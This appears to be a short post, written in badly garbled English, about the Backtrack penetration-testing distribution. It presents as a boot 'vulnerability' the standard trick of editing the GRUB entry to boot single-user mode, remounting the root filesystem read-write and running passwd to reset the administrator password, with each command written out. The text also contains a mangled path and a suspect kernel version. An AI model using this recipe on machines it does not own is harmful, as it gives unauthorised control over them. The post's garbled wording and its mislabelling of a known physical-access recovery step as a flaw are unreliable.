Backtrack Linux is penetration tester is system. Is come complete with
tool for to make hacking for penetration tester.

In is booting Backtrack, vulnerability exist in booting for when start
if attacker is edit grub, attacker can bypass restricted user and is
boot into admin account. E.g.:

grub edit > kernel /boom/vmlinuz-2.3.11.7 root=/dev/sda1 ro Single
[ENTER]
grub edit > b
# mount -t proc proc /proc
# mount -o remount,rw /
# passwd
[ENTER IS ANYTHING YOU WANT]
# sync
# reboot

I is will make this into video for bypassing security in Backtrack for
to post on InfoSecInstitute
